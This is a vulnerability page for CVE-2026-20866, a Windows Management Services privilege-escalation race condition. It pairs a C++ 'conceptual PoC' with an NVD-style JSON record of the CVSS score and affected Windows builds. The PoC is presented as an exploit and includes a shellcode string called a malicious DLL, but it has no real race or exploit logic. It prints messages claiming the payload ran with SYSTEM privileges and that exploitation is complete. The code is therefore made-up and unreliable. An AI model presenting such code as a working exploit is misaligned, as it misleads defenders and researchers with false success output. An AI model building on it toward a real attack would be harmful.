CVE-2026-20866

// CVE-2026-20866 Windows Management Services Race Condition PoC // Note: This is a conceptual PoC for educational purposes only // Author: Based on MSRC disclosure #include <windows.h> #include <stdio.h> #include <thread> #include <atomic> #define TARGET_SERVICE L"WindowsManagementService" std::atomic<bool> race_window_open(false); void trigger_race_condition() { // Step 1: Identify target service and vulnerable operation SC_HANDLE scm = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (!scm) return; // Step 2: Create malicious DLL for privilege escalation const char* shellcode = "\x90\x90\x90\x90\x4C\x8B\xD1\xB8\x30\x00\x00\x00\x0F\x05"; // Step 3: Exploit race condition in shared resource access while (!race_window_open.load()) { Sleep(1); } // Step 4: Trigger the vulnerable code path // This would involve exploiting the improper synchronization // in Windows Management Services file operations // Step 5: Execute payload with elevated privileges printf("[+] Race condition triggered, payload executed with SYSTEM privileges\n"); CloseServiceHandle(scm); } int main() { printf("CVE-2026-20866 Windows Management Services Race Condition PoC\n"); printf("Target: Windows Management Services\n"); printf("CVSS: 7.8 (High)\n\n"); std::thread exploit_thread(trigger_race_condition); // Open race window race_window_open.store(true); // Trigger service operation printf("[*] Initiating race condition attack...\n"); exploit_thread.join(); printf("[+] Exploitation complete\n"); return 0; }

{"cve": {"id": "CVE-2026-20866", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:15.967", "lastModified": "2026-01-15T15:41:10.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en los Servicios de administración de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20866", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}